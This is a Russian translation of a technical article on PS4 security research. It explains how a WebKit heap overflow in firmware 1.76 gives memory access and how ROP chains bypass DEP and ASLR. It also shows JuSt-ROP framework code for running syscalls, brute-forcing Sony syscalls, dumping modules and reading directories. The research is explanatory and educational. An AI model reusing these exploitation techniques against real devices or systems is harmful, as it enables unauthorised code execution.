[Перевод] Анализ защиты Sony PlayStation 4
Поскольку никаких публичных заявлений касательно взлома PS4 не поступало уже давно, настало время нарушить тишину и рассказать немного о том, как далеко зашел прогресс в отношении взлома PS4, а так же о причинах, которые мешают продвинуться дальше.
В данной статье я затрону некоторые принципы безопасности, касающиеся всех современных систем, а также поделюсь своими находками, сделанными благодаря выполнению ROP-тестов на моей PS4.
Если вы плохо знакомы с применением эксплойтов, вам cледует сначала прочитать мою прошлую статью про взлом игр DS с помощью уязвимости целостности стека (stack smash) в файлах сохранений.
Загрузить всё необходимое для собственных экспериментов можно здесь, на данный момент поддерживается исключительно прошивка 1.76.
Известные факты про PS4
Как вам скорее всего известно, в PS4 используется специальный восьмиядерный x86–64 CPU от AMD, про архитектуру которого опубликовано достаточно много исследований, и даже если эта специфическая версия процессора слегка отличается от общепринятого стандарта, это едва ли будет заметно. Например, PFLA (Page Fault Liberation Army) на 29C3 (29th Chaos Communication Congress) продемонстрировала доказательство proof-of-concept того, что можно реализовать полную по Тюрингу машину, используя лишь страничные ошибки (page fault) и x86 MMU, видео доступно на YouTube. Это будет интересно и тем, кто, запустив код в виртуальной машине, при этом желает выполнять инструкции на CPU хоста.
Новостная статья EurAsia под номером 3251
Причем мы имеем дело не только с хорошо задокументированной архитектурой CPU — использованное в PS4 ПО по большей части относится к open source.
Для нас самым главным является то, что Orbis OS, на которой работает консоль, основана на FreeBSD и использует отдельные части NetBSD, повторяя в этом плане ситуацию с PS3; помимо FreeBSD 9.0, из другого заметного крупного ПО используются Mono VM и WebKit.
Точка входа — WebKit
WebKit — это открытый движок рендеринга веб-страниц в браузерах для iOS, Wii U, 3DS, PS Vita и PS4.
Несмотря на столь широкое применение и зрелость проекта, WebKit не лишен отдельных уязвимостей; о большинстве из них вы можете узнать по записям Pwn2Own.
В частности, браузер в PS4 с прошивкой 1.76 использует версию WebKit, уязвимую к CVE-2012–3748, переполнению буфера в области данных кучи (heap-based buffer overflow) в методе JSArray::sort(...)
.
В 2014 году nas и Proxima заявили, что им удалось успешно портировать данный эксплойт для использования на браузере PS4, и выложили код PoC в паблик, чем положили начало процессу взлома PS4.
Этот код дает произвольный доступ к чтению и записи всего, что процесс WebKit может читать/записывать, и это в свою очередь может быть использовано для дампа модулей и перезаписывания адресов возврата на стеке, позволив нам установить контроль над cчётчиком команд (для ROP).
С того времени было обнаружено много других уязвимостей в WebKit, которые предположительно позволяют производить дампинг модулей и ROP на новейших прошивках PS4, но в момент написания ни один из этих эксплойтов не был портирован на PS4.
Что такое ROP (return oriented programming)?
В отличие от примитивных устройств вроде DS и PSP, в PS4 используется ядро, контролирующее опции разных областей памяти. Страницы памяти, помеченные выполняемыми, не могут быть перезаписаны; страницы, помеченные записываемыми, не могут быть выполнены; этот принцип известен под названием Data Execution Prevention (DEP).
Для нас это означает невозможность использования простого пути: копирования полезной нагрузки (payload) в память и ее последующего выполнения. Однако, мы можем выполнить код, который уже загружен в память и помечен как выполняемый.
Сама по себе возможность прыжка по одному адресу не несёт особой пользы, если мы не можем записать наш собственный код по этому адресу — вот поэтому мы и прибегнем к ROP.
Возвратно-ориентированное программирование (ROP) — это всего лишь усовершенствованная версия традиционного «stack smashing» (атаки на переполнение буфера), но вместо перезаписывания одного значения, на которое прыгнет PC, мы можем сцепить вместе много различных адресов, известных как «гаджеты»
Обычно, гаджет — это всего лишь единственная желаемая конструкция, за которой следует ret
.
В ассемблере x86_64, когда выполнение доходит до инструкции ret
, 64-битное значение выталкивается со стека и PC прыгает на него; поскольку мы можем контролировать стек, то можем заставить каждую инструкцию ret
прыгать на следующий нужный гаджет.
Например, начиная с 0x80000
могут храниться инструкции:
mov rax, 0
ret
А начиная с 0x90000
хранятся следующие инструкции:
mov rbx, 0
ret
Если мы перезапишем адрес возврата на стеке, чтобы тот хранил 0x80000
и следом 0x90000
, то как только выполнение дойдет до первой инструкции ret
, оно прыгнет на mov rax, 0
, а сразу после этого следующая инструкция ret
вытолкнет со стека 0x90000
и прыгнет на mov rbx, 0
.
Таким образом, данная цепочка сыграет нам на руку и установит оба регистра rax
и rbx
в 0, как если бы мы просто написали код в одном месте и выполнили последовательно.
Цепочки ROP не ограничиваются только списком адресов; предположим, что с 0xa0000
идут следующие инструкции:
pop rax
ret
Мы можем установить первый элемент цепочки в 0xa0000
и следующий элемент — в любое желаемое значение для rax
.
Гаджеты также не обязаны заканчиваться на инструкции ret
; мы можем использовать гаджеты, заканчивающиеся на jmp
:
add rax, 8
jmp rcx
Сделав так, что rcx
указывает на инструкцию ret
, цепочка выполнится обычным образом:
chain.add("pop rcx", "ret");
chain.add("add rax, 8; jmp rcx");
Иногда у вас не получится найти именно тот гаджет, который вам нужен, сам по себе — только с другими инструкциями после него. Например, если вы хотите установить r8
в какое-либо значение, но у вас есть только это гаджет, то вам придется установить r9
в какое-нибудь фиктивное значение:
pop r8
pop r9
ret
Хотя вам время от времени и придется проявить свои способности к творчеству при написании ROP-цепочек, тем не менее, принято считать, что при использовании достаточно большого дампа кода полученных гаджетов будет достаточно для полной по Тьюрингу функциональности; это и делает ROP жизнеспособным методом обхода DEP.
Поиск гаджетов
Понять ROP вам поможет следующая метафора.
Представьте, что вы пишете новую главу в книге, при этом пользуясь исключительно теми словами, которые стояли в концах предложений предыдущих глав. Очевидно, что в силу принципов конструкции фраз вы едва ли встретите слова «and» или «or» в конце одного из предложений —, но нам потребуются эти соединительные элементы, если мы хотим написать что-нибудь осмысленное.
Вполне возможно, однако, что одно из предложений завершилось на слове «sand». И, хоть по авторскому замыслу мы и должны прочитать это слово целиком начиная с буквы «s», если мы начнем свое чтение с «a», то по чистой случайности получим совсем другое слово — «and», что нам и требовалось.
Эти принципы также применимы и к ROP.
Поскольку структура практически всех функций выглядит примерно так:
; Сохранение регистров
push rbp
mov rbp, rsp
push r15
push r14
push r13
push r12
push rbx
sub rsp, 18h
; Тело функции
; Восстановление регистров
add rsp, 18h
pop rbx
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
Поэтому стоит ожидать обнаружения только гаджетов pop
, или, что бывает реже, xor rax, rax
, которые устанавливают значение в 0 перед возвратом.
Сравнение вроде
cmp [rax], r12
ret
не имеет никакого смысла, поскольку результат сравнения не используется функцией. Однако, вероятность обнаружить подобные гаджеты все ещё остается.
Инструкции x86_64 похожи на слова тем, что обладают переменной длиной, и могут значить совершенно разные вещи в зависимости от того, откуда начинается декодирование.
Архитектура x86_64 — это набор инструкций CISC переменной длины. Возвратно-ориентированное программирование на x86_64 пользуется тем фактом, что набор инструкций является очень «плотным» — в том плане, что любая произвольная последовательность байт чаще всего может быть интерпретирована как валидный набор инструкций x86_64.
— Wikipedia
Для демонстрации этого, взгляните на конце этой функции из модуля WebKit:
000000000052BE0D mov eax, [rdx+8]
000000000052BE10 mov [rsi+10h], eax
000000000052BE13 or byte ptr [rsi+39h], 20h
000000000052BE17 ret
Теперь взгляните, как будет выглядеть код, если мы начнем декодирование с 0x52be14
:
000000000052BE14 cmp [rax], r12
000000000052BE17 ret
Пусть этот код никогда и не предназначался для выполнения, он находится в области памяти, которая была помечена «выполняемой», что делает её весьма привлекательной для использования в качестве гаджета.
Конечно, было бы невероятно затратно тратить время на поиск всех возможных способов интерпретации кода перед каждой инструкцией ret
вручную; за нас это умеют делать существующие утилиты. Для поиска ROP-гаджетов я предпочитаю использовать rp++; чтобы сгенерировать текстовый файл, заполненный гаджетами, просто введите команду:
rp-win-x64 -f mod14.bin --raw=x64 --rop=1 --unique > mod14.txt
Ошибки сегментации
Если мы попытаемся выполнить неисполняемую страницу памяти, или попытаемся записать в незаписываемую страницу памяти, произойдет ошибка сегментации.
К примеру, так выглядит попытка выполнить код на стеке, который «замаппен» только на чтение и запись (rw):
setU8to(chain.data + 0, 0xeb);
setU8to(chain.data + 1, 0xfe);
chain.add(chain.data);
А вот так — попытка записать код, который «замаппен» только на чтение и выполнение (rx):
setU8to(moduleBases[webkit], 0);
Если происходит ошибка сегментации, то на экране появляется сообщение «Недостаточно свободной системной памяти», и загрузки страницы не произойдет:
Причиной вывода этого сообщения может быть и что-то другое — например, выполнение неправильной инструкции или нереализованного системного вызова, —, но чаще всего оно вылезает именно из-за ошибки сегментации.
ASLR
Address Space Layout Randomization (ASLR) — технология безопасности, применяемая в операционных системах, при использовании которой случайным образом изменяется расположение в адресном пространстве процесса важных структур, а именно: образа исполняемого файла, подгружаемых библиотек, кучи и стека. Из-за нее базовые адреса модулей изменяются каждый раз, когда вы запускаете свою PS4.
Мне поступали свидетельства, что в самых старых версиях прошивки (1.05) ASLR была отключена, но она появилась где-то в районе 1.70. Заметьте, что ASLR для ядра отключена, по крайней мере для прошивок версии 1.76 и ниже, и это будет доказано дальше.
Для большинства эксплойтов ASLR станет проблемой, поскольку если вы не знаете адреса гаджетов в памяти, то и не догадаетесь, что нужно записать в стек.
К счастью для нас, мы не ограничены написанием статичных ROP-цепочек. Мы можем использовать JavaScript для чтения таблицы модулей, что поможет нам получить базовые адреса загруженных модулей. Используя эти адреса, мы сможем посчитать адреса всех наших гаджетов до выполнения цепочки ROP, обойдя ASLR.
Таблица модулей также включает имена файлов модулей:
- WebProcess.self
- libkernel.sprx
- libSceLibcInternal.sprx
- libSceSysmodule.sprx
- libSceNet.sprx
- libSceNetCtl.sprx
- libSceIpmi.sprx
- libSceMbus.sprx
- libSceRegMgr.sprx
- libSceRtc.sprx
- libScePad.sprx
- libSceVideoOut.sprx
- libScePigletv2VSH.sprx
- libSceOrbisCompat.sprx
- libSceWebKit2.sprx
- libSceSysCore.sprx
- libSceSsl.sprx
- libSceVideoCoreServerInterface.sprx
- libSceSystemService.sprx
- libSceCompositeExt.sprx
Несмотря на то, что PS4 по большей части использует формат [Signed] PPU Relocatable Executable ([S]PRX) для модулей, в дампе libSceSysmodule.sprx замечены строки, ссылающиеся на объектные файлы [Signed] Executable and Linking Format ([S]ELF) — bdj.elf, web_core.elf и orbis-jsc-compiler.self.
Данная комбинация модулей и объектов напоминает ту, что использовалась в PSP и PS3.
Полный список всех доступных модулей (а не только тех, что загружены браузером) можно в libSceSysmodule.sprx
. Мы можем загрузить и сдампить некоторые из них благодаря нескольким специальным системным вызовам за авторством Sony, о чем и пойдет речь дальше.
JuSt-ROP
Использование JavaScript для написания и выполнения динамических ROP-цепочек дает нам огромное преимущество над обычной атакой переполнения буфера.
Кроме обхода ASLR, мы можем прочитать user agent браузера, и подставлять другую ROP-цепочку для другой версии браузера, давая нашему эксплойту высшую степень возможной совместимости.
Мы можем использовать JavaScript даже для чтения памяти по нашим адресам гаджетов для того, чтобы убедиться в их корректности, что дает нам практически идеальную надежность.
Динамическое написание ROP-цепочек приобретает смысл по сравнению с их предварительной генерацией скриптом.
По этим причинам я и создал собственный фрейморк на JavaScript для написания ROP-цепочек, JuSt-ROP.
Подводные камни JavaScript
JavaScript использует представление чисел в формате двойной точности (64 бита) IEEE-754. Это дает нам 53 бита точности (мантисса VT_R8 имеет только 53 бита), что означает невозможность отобразить каждое 64-битное значение — для некоторых из них придется применить аппроксимацию.
Если вам просто нужно установить 64-битное число в какое-нибудь небольшое значение, вроде 256
, то setU64to
справится с задачей. Но для случаев, когда вам нужно записать буфер или структуру данных, есть вероятность что отдельные байты будут записаны некорректно, если они были записаны в блоках по 64 бита. Вместо этого, вы должны писать данные блоками по 32 бита (помня о том, что PS4 использует порядок little-endian), чтобы убедиться в том, что каждый байт идентичен.
Системные вызовы
Интересно, что PS4 использует тот же формат вызовов, что и Linux и MS-DOS для системных вызовов, с аргументами хранимыми в регистрах, а не традиционным UNIX-способом (который FreeBSD использует по умолчанию), когда аргументы хранятся в стеке:
Регистр | Значение |
---|---|
rax | Номер системного вызова |
rdi | Аргумент 1 |
rsi | Аргумент 2 |
rdx | Аргумент 3 |
r10 | Аргумент 4 |
r8 | Аргумент 5 |
r9 | Аргумент 6 |
Мы можем попробовать выполнить любой системный вызов с помощью метода JuSt-ROP:
this.syscall = function(name, systemCallNumber, arg1, arg2, arg3, arg4, arg5, arg6) {
console.log("syscall " + name);
this.add("pop rax", systemCallNumber);
if(typeof(arg1) !== "undefined") this.add("pop rdi", arg1);
if(typeof(arg2) !== "undefined") this.add("pop rsi", arg2);
if(typeof(arg3) !== "undefined") this.add("pop rdx", arg3);
if(typeof(arg4) !== "undefined") this.add("pop rcx", arg4);
if(typeof(arg5) !== "undefined") this.add("pop r8", arg5);
if(typeof(arg6) !== "undefined") this.add("pop r9", arg6);
this.add("pop rbp", stackBase + returnAddress - (chainLength + 8) + 0x1480);
this.add("mov r10, rcx; syscall");
}
Использование системных вызовов может многое нам поведать о ядре PS4. Более того, использование системных вызовов — единственный способ, которым мы можем взаимодействовать с ядром, и потенциально может выполнить эксплойт ядра.
Если провести реверс-инжениринг модулей для идентификации некоторых из специальных системных вызовов Sony, то можно обнаружить альтернативный формат вызовов:
Регистр | Значение |
---|---|
rax | 0 |
rdi | Номер системного вызова |
rsi | Аргумент 1 |
rdx | Аргумент 2 |
r10 | Аргумент 3 |
r8 | Аргумент 4 |
r9 | Аргумент 5 |
По всей видимости, Sony поступила так для простой совместимости с соглашением о вызове функций, например:
unsigned long syscall(unsigned long n, ...) {
register unsigned long rax asm("rax");
asm("mov r10, rcx");
rax = 0;
asm("syscall");
return rax;
}
Используя такой подход, они могут выполнять любой системный вызов из С.
При написании цепочек ROP, мы можем использовать следующее соглашение:
// Обе команды возвращают ID текущего процесса:
chain.syscall("getpid", 20);
chain.syscall("getpid", 0, 20);
Об этом полезно помнить на случай возможности выбора самого удобного из доступных гаджетов.
getpid
Один-единственный системный вызов под номером 20
, getpid(void)
, уже способен многое рассказать нам о ядре.
Сам тот факт, что этот системный вызов работает, говорит нам о том, что Sony даже не удосужилась перемешать номера системных вызовов, как того требует техника «безопасность через неясность» (а под лицензией BSD они могли сделать это без публикации в Интернете новых номеров системных вызовов).
Таким образом, мы автоматически заполучили в свои руки список системных вызовов, которые можно попробовать сделать в ядре PS4.
Во-вторых, вызвав getpid()
, перезапустив браузер, а затем вызвав его снова, мы получим значение возврата на 1 большее, чем предыдущее. Хоть FreeBSD и поддерживают рандомизацию PID со времен версии 4.0, последовательное выделение PID — это поведение по умолчанию. По всей видимости, Sony и здесь не удосужилась усилить защиту вроде того, как это сделали в проектах по типу HardenedBSD.
Сколько системных вызовов здесь есть?
Последним системным вызовом во FreeBSD 9 является wait6
за номером 523
; всё, что имеет номер выше — специальные системные вызовы Sony.
Попытка вызвать любой из специльных системных вызовов Sony без корректных аргументов вернет ошибку 0x16
, "Invalid argument"
; однако, любые совместимые системные вызовы, или же нереализованные системные вызовы приведут к ошибке "There is not enough free system memory"
.
Путем проб и ошибок, я выяснил, что системный вызов под номером 617
— это последний вызов Sony, все вызовы дальше не реализованы.
Исходя из этого, мы можем сделать логичное заключение, что в ядре PS4 есть 85 специальных системных вызовов (617 — 532) за авторством Sony.
Это значительно меньше, чем было в PS3, в которой было почти 1000 системных вызовов в целом. Что ж, пусть это и указывает меньший простор для потенциальных векторов атак, но зато нам будет проще задокументировать все вызовы.
Едем дальше. 9 из этих 85 системных вызовов всегда возвращают 0×4e, ENOSYS, что означает простую вещь — эти вызовы работают только на тестовых устройствах для разработчиков, оставляя нас всего с 76 полезными вызовами.
Из этих 76, libkernel.sprx ссылается только на 45 (все приложения, не являющиеся частью ядра, для выполнения системных вызовов используют этот модуль). Итого, у разработчика остается всего 45 доступных специальных системных вызовов.
Интересно, что хотя для использования предназначались только 45 вызовов (поскольку в libkernel.sprx есть обертки для них), некоторые из оставшихся 31 все равно доступны из процесса браузера. Вполне возможно, что в этих ненамеренно оставленных вызовах вероятность найти уязвимость гораздо выше, поскольку на их тестирование времени явно ушло меньше всего.
libkernel.sprx
Для того, чтобы разобраться, как специальные системные вызовы используются ядром, главное — обязательно запомнить, что это всего лишь модификация стандартных библиотек FreeBSD 9.0.
Вот выдержка кода _libpthread_init
из файла thr_init.c
:
/*
* Check for the special case of this process running as
* or in place of init as pid = 1:
*/
if ((_thr_pid = getpid()) == 1) {
/*
* Setup a new session for this process which is
* assumed to be running as root.
*/
if (setsid() == -1)
PANIC("Can't set session ID");
if (revoke(_PATH_CONSOLE) != 0)
PANIC("Can't revoke console");
if ((fd = __sys_open(_PATH_CONSOLE, O_RDWR)) < 0)
PANIC("Can't open console");
if (setlogin("root") == -1)
PANIC("Can't set login to root");
if (_ioctl(fd, TIOCSCTTY, (char *) NULL) == -1)
PANIC("Can't set controlling terminal");
}
Эта же функция может быть найдена на оффсете 0x215F0
из libkernel.sprx
. Вот как приведенный выше код выглядит в дампе libkernel:
call getpid
mov cs:dword_5B638, eax
cmp eax, 1
jnz short loc_2169F
call setsid
cmp eax, 0FFFFFFFFh
jz loc_21A0C
lea rdi, aDevConsole ; "/dev/console"
call revoke
test eax, eax
jnz loc_21A24
lea rdi, aDevConsole ; "/dev/console"
mov esi, 2
xor al, al
call open
mov r14d, eax
test r14d, r14d
js loc_21A3C
lea rdi, aRoot ; "root"
call setlogin
cmp eax, 0FFFFFFFFh
jz loc_21A54
mov edi, r14d
mov esi, 20007461h
xor edx, edx
xor al, al
call ioctl
cmp eax, 0FFFFFFFFh
jz loc_21A6C
Реверсинг дампов модулей для анализа системных вызовов
libkernel открыт не полностью: в его состав входит большое количество собственного кода Sony, который мог бы раскрыть их системные вызовы.
Хотя процесс анализа будет отличаться в зависимости от выбранного системного вызова, для некоторых из них довольно просто выяснить состав аргументов, которые передаются в вызов.
Обертка системного вызова будет объявлена где-нибудь в libkernel.sprx и почти всегда будет следовать следующему шаблону:
000000000000DB70 syscall_601 proc near
000000000000DB70 mov rax, 259h
000000000000DB77 mov r10, rcx
000000000000DB7A syscall
000000000000DB7C jb short error
000000000000DB7E retn
000000000000DB7F
000000000000DB7F error:
000000000000DB7F lea rcx, sub_DF60
000000000000DB86 jmp rcx
000000000000DB86 syscall_601 endp
Заметим, что инструкция mov r10, rcx
не обязательно означает то, что системный вызов принимает как минимум 4 аргумента; эта инструкция есть у всех оберток системных вызовов, и даже у тех, что не принимают никаких аргументов — например, getpid
.
Как только вы нашли обертку, можете посмотреть xrefs к ней:
0000000000011D50 mov edi, 10h
0000000000011D55 xor esi, esi
0000000000011D57 mov edx, 1
0000000000011D5C call syscall_601
0000000000011D61 test eax, eax
0000000000011D63 jz short loc_11D6A
Неплохой мыслью будет поискать еще несколько штук, просто чтобы убедиться, что регистры не были изменены для чего-нибудь несвязанного:
0000000000011A28 mov edi, 9
0000000000011A2D xor esi, esi
0000000000011A2F xor edx, edx
0000000000011A31 call syscall_601
0000000000011A36 test eax, eax
0000000000011A38 jz short loc_11A3F
Мы видим, как с завидным постоянством первых три регистра из соглашения о системных вызовов (rdi, rsi, и rdx), так что мы вполне уверенно можем заявить, что вызов принимает три аргумента.
Для понимания, вот как мы воспроизведем эти вызовы с помощью JuSt-ROP:
chain.syscall("unknown", 601, 0x10, 0, 1);
chain.syscall("unknown", 601, 9, 0, 0);
Как и большинство системных вызовов, эти вызовы вернут 0 в случае успеха, что видно по коду выше, где jz
выполняет переход после test
а возвращаемого значения.
Выяснение чего-то более сложного, чем количество аргументов, потребует гораздо более глубокого анализа кода до и после вызова для понимания контекста, но рассказанного должно хватить вам для старта.
Брутфорс системных вызовов
Несмотря на то, что реверс-инжениринг дампов модулей — самый надежный способ идентифицировать системные вызовы, некоторые из них не упоминаются в дампах, поэтому мы вынуждены анализировать их «вслепую».
Если мы предположим, что определенный системный вызов может принимать определенный набор аргументов, то мы можем произвести брутфорс всех системных вызовов, которые возвратят определенное значение (0 для успеха) с выбранными аргументами, и игнорировать все вернувшие ошибку.
Мы также можем передавать нули для всех аргументов, и брутфорсить все системные вызовы, которые возвращают полезные ошибки вроде 0xe
, "Bad address"
, которые указывают на то, что вызовы принимают как минимум один указатель.
Во-первых, нам нужно выполнить ROP-цепочку как только страница загрузится. Мы можем сделать это при помощи навешивания нашей функции на onload
элемента body
:
Следом нам нужно выполнить специальный системный вызов в зависимости от значения из HTTP GET. Хоть это и может быть сделано при помощи JavaScript, для простоты я использую PHP:
var Sony = 533;
chain.syscall("Sony system call", Sony + , 0, 0, 0, 0, 0, 0);
chain.write_rax_ToVariable(0);
Как только системный вызов выполнится, мы можем проверить значение возврата, и если он не даст нам ничего интересного, сделать редирект на следующий системный вызов:
if(chain.getVariable(0) == 0x16) window.location.assign("index.php?b=" + ( + 1).toString());
Запуск страницы с ? b=0 в конце запустит брутфорс с первого системного вызова Sony.
Хотя этот метод требует немалого количества экспериментов, можно уверенно сказать, что он позволит найти несколько системных вызовов, которых вам удастся частично идентифицировать.
Системный вызов 538
В качестве примера, давайте рассмотрим системный вызов 538, не полагаясь на дампы каких-либо модулей.
Вот значения возврата в зависимости от того, что передается в качестве первого аргумента:
- 0 — 0×16, «Invalid argument»
- 1 — 0xe, «Bad address»
- Указатель на 0 — первоначально 0×64, но с каждым обновлением страницы значение увеличивается на 1.
Другими потенциальными аргументами, которые можно попытаться подставить, будут PID, ID потока и файловый дескриптор.
Несмотря на то, что большинство системных вызовов возвращают 0 при успешном выполнении, часть вызовов возвращает увеличивающееся при каждом новом вызове значение — видимо, эти вызовы аллоцируют какой-либо ресурс, вроде файлового дескриптора.
Следующим шагом будет наблюдение за данными до и после выполнения системного вызова для того, чтобы понять, было ли что-нибудь записано в них.
Поскольку изменений в данных не наблюдается, можем с чистой совестью считать, что это ввод.
Затем попытаемся скормить методу длинную строку в качестве первого аргумента. Вы должны пробовать это с каждым вводом, который вам удастся обнаружить, поскольку существует вероятность обнаружения переполнения буфера.
writeString(chain.data, "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa");
chain.syscall("unknown", 538, chain.data, 0, 0, 0, 0, 0);
Мы получим в качестве значения возврата 0x3f
, ENAMETOOLONG
. Увы, но мы видим, что системный вызов корректно ограничивает имя (32 байта включая ограничитель NULL
), однако теперь мы знаем, что метод ожидает строку, а не структуру.
Что ж, теперь у нас есть несколько идей относительно того, что может делать этот вызов. Самый очевидный вариант — какое-либо действие, связанное с файловой системой (например, специальная версии mkdir
или open
), однако эта версия вряд ли нам подойдет — ведь ресурс аллоцируется еще до того, как мы записали любые данные в указатель.
Попробуем проверить, является ли первый параметр путём. Разобьем его несколькими символами /
и посмотрим, позволит ли это передать в метод длинную строку:
writeString(chain.data, "aaaaaaaaaa/aaaaaaaaaa/aaaaaaaaaa");
chain.syscall("unknown", 538, chain.data, 0, 0, 0, 0, 0);
Поскольку этот вызов также вернет 0×3f, мы можем предположить, что первый аргумент — это не путь; это имя для чего-то, что будет размещено в памяти и получит последовательный идентификатор (sequential identifier).
После анализа других системных вызовов, мне удалось обнаружить, что все перечисленные ниже обладают одинаковым поведением:
- 533
- 538
- 557
- 574
- 580
При помощи полученной информации практически невозможно догадаться, что именно делают эти системные вызовы, но если вы проведете другие тесты, то понемногу раскроете тайну. Сэкономлю вам немного времени — системный вызов 538 выделяет память под флаг события (и принимает в качестве параметра не только имя).
При помощи базовых знаний о том, как работает ядро, вы можете предположить, а затем проверить, под что выделяется память системными вызовами — семафоры, мьютексты и так далее.
Дамп дополнительных модулей
Мы можем дампить дополнительные модули следующим образом:
- Загружаем модуль
- Получаем базовый адрес модуля
- Дампим модуль.
Я взял на себя утомительный труд загрузки и дампа каждого возможного модуля из браузера руками и опубликовал результаты на psdevwiki. Все модули с маркером «Yes» могут быть сдампены этим методом.
Для загрузки модуля нам потребуется использовать функцию sceSysmoduleLoadModule
из libSceSysmodule.sprx + 0x1850
. Первым параметром идет идентификатор загружаемого модуля, в остальных трех просто передается 0.
Приведенный ниже метод JuSt-ROP пригодится для выполнения этого вызова:
this.call = function(name, module, address, arg1, arg2, arg3, arg4, arg5, arg6) {
console.log("call " + name);
if(typeof(arg1) !== "undefined") this.add("pop rdi", arg1);
if(typeof(arg2) !== "undefined") this.add("pop rsi", arg2);
if(typeof(arg3) !== "undefined") this.add("pop rdx", arg3);
if(typeof(arg4) !== "undefined") this.add("pop rcx", arg4);
if(typeof(arg5) !== "undefined") this.add("pop r8", arg5);
if(typeof(arg6) !== "undefined") this.add("pop r9", arg6);
this.add("pop rbp", stack_base + return_va - (chainLength + 8) + 0x1480);
this.add(module_bases[module] + address);
}
Итак, для загрузки libSceAvSetting.sprx (0xb)
используем:
chain.call("sceSysmoduleLoadModule", libSysmodule, 0x1850, 0xb, 0, 0, 0);
Как и большинство системных вызовов, этот должен вернуть 0 при успехе. Чтобы увидеть идентификатор аллоцированного в памяти модуля, мы можем использовать один из системных вызовов Sony под номером 592 для получения списка загруженных модулей:
var countAddress = chain.data;
var modulesAddress = chain.data + 8;
// Системный вызов 592, getLoadedModules(int *destinationModuleIDs, int max, int *count);
chain.syscall("getLoadedModules", 592, modulesAddress, 256, countAddress);
chain.execute(function() {
var count = getU64from(countAddress);
for(var index = 0; index < count; index++) {
logAdd("Module: 0x" + getU32from(modulesAddress + index * 4).toString(16));
}
});
Выполнение этого кода без загрузки других дополнительных модулей отобразит следующий список:
0x0, 0x1, 0x2, 0xc, 0xe, 0xf, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 0x1a, 0x1b, 0x1e, 0x37, 0x59
Однако, если мы запустим её после загрузки модуля 0xb, то увидим дополнительный элемент, 0×65. Запомните — идентификатор модуля это не то же самое, что и идентификатор загруженного модуля.
Теперь мы можем использовать другой системный вызов Sony под номером 593, который принимает идентификатор загруженного модуля и буфер, и заполняет буфер информацией о загруженном модуле, включая его базовый адрес. Поскольку идентификатор загруженного модуля всегда 0×65, мы можем «захардкодить» его в нашу цепочку, вместо того чтобы хранить результат из списка модулей.
Буфер должен начинаться с размера структуры, которая должна быть возвращена, в противном случае вернется ошибка 0x16
, "Invalid argument"
:
setU64to(moduleInfoAddress, 0x160);
chain.syscall("getModuleInfo", 593, 0x65, moduleInfoAddress);
chain.execute(function() {
logAdd(hexDump(moduleInfoAddress, 0x160));
});
В случае успеха вернется 0, а буфер будет заполнен структурой, которую можно прочитать так:
var name = readString(moduleInfoAddress + 0x8);
var codeBase = getU64from(moduleInfoAddress + 0x108);
var codeSize = getU32from(moduleInfoAddress + 0x110);
var dataBase = getU64from(moduleInfoAddress + 0x118);
var dataSize = getU32from(moduleInfoAddress + 0x120);
Теперь у нас есть все необходимое для дампа модуля!
dump(codeBase, codeSize + dataSize);
Существует другой системный вызов Sony, под номером 608, который работает схожим с 593 образом, но предоставляет немного другую информацию о загруженном модуле:
setU64to(moduleInfoAddress, 0x1a8);
chain.syscall("getDifferentModuleInfo", 608, 0x65, 0, moduleInfoAddress);
logAdd(hexDump(moduleInfoAddress, 0x1a8));
Неизвестно, что может означать эта информация.
Исследуем файловую систему
Для чтения файлов и директорий PS4 использует стандартные системные вызовы FreeBSD 9.0.
Однако, несмотря на то что чтение отдельных директорий вроде /dev/
сработает, чтение других — например, /
— нет.
Не знаю, почему так происходит, но если использовать gendents
вместо read
для директорий, то работать всё будет более надежно:
writeString(chain.data, "/dev/");
chain.syscall("open", 5, chain.data, 0, 0);
chain.write_rax_ToVariable(0);
chain.read_rdi_FromVariable(0);
chain.syscall("getdents", 272, undefined, chain.data + 0x10, 1028);
Вот результирующая память:
0000010: 0700 0000 1000 0205 6469 7073 7700 0000 ........dipsw...
0000020: 0800 0000 1000 0204 6e75 6c6c 0000 0000 ........null....
0000030: 0900 0000 1000 0204 7a65 726f 0000 0000 ........zero....
0000040: 0301 0000 0c00 0402 6664 0000 0b00 0000 ........fd......
0000050: 1000 0a05 7374 6469 6e00 0000 0d00 0000 ....stdin.......
0000060: 1000 0a06 7374 646f 7574 0000 0f00 0000 ....stdout......
0000070: 1000 0a06 7374 6465 7272 0000 1000 0000 ....stderr......
0000080: 1000 0205 646d 656d 3000 0000 1100 0000 ....dmem0.......
0000090: 1000 0205 646d 656d 3100 0000 1300 0000 ....dmem1.......
00000a0: 1000 0206 7261 6e64 6f6d 0000 1400 0000 ....random......
00000b0: 1000 0a07 7572 616e 646f 6d00 1600 0000 ....urandom.....
00000c0: 1400 020b 6465 6369 5f73 7464 6f75 7400 ....deci_stdout.
00000d0: 1700 0000 1400 020b 6465 6369 5f73 7464 ........deci_std
00000e0: 6572 7200 1800 0000 1400 0209 6465 6369 err.........deci
00000f0: 5f74 7479 3200 0000 1900 0000 1400 0209 _tty2...........
0000100: 6465 6369 5f74 7479 3300 0000 1a00 0000 deci_tty3.......
0000110: 1400 0209 6465 6369 5f74 7479 3400 0000 ....deci_tty4...
0000120: 1b00 0000 1400 0209 6465 6369 5f74 7479 ........deci_tty
0000130: 3500 0000 1c00 0000 1400 0209 6465 6369 5...........deci
0000140: 5f74 7479 3600 0000 1d00 0000 1400 0209 _tty6...........
0000150: 6465 6369 5f74 7479 3700 0000 1e00 0000 deci_tty7.......
0000160: 1400 020a 6465 6369 5f74 7479 6130 0000 ....deci_ttya0..
0000170: 1f00 0000 1400 020a 6465 6369 5f74 7479 ........deci_tty
0000180: 6230 0000 2000 0000 1400 020a 6465 6369 b0.. .......deci
0000190: 5f74 7479 6330 0000 2200 0000 1400 020a _ttyc0..".......
00001a0: 6465 6369 5f73 7464 696e 0000 2300 0000 deci_stdin..#...
00001b0: 0c00 0203 6270 6600 2400 0000 1000 0a04 ....bpf.$.......
00001c0: 6270 6630 0000 0000 2900 0000 0c00 0203 bpf0....).......
00001d0: 6869 6400 2c00 0000 1400 0208 7363 655f hid.,.......sce_
00001e0: 7a6c 6962 0000 0000 2e00 0000 1000 0204 zlib............
00001f0: 6374 7479 0000 0000 3400 0000 0c00 0202 ctty....4.......
0000200: 6763 0000 3900 0000 0c00 0203 6463 6500 gc..9.......dce.
0000210: 3a00 0000 1000 0205 6462 6767 6300 0000 :.......dbggc...
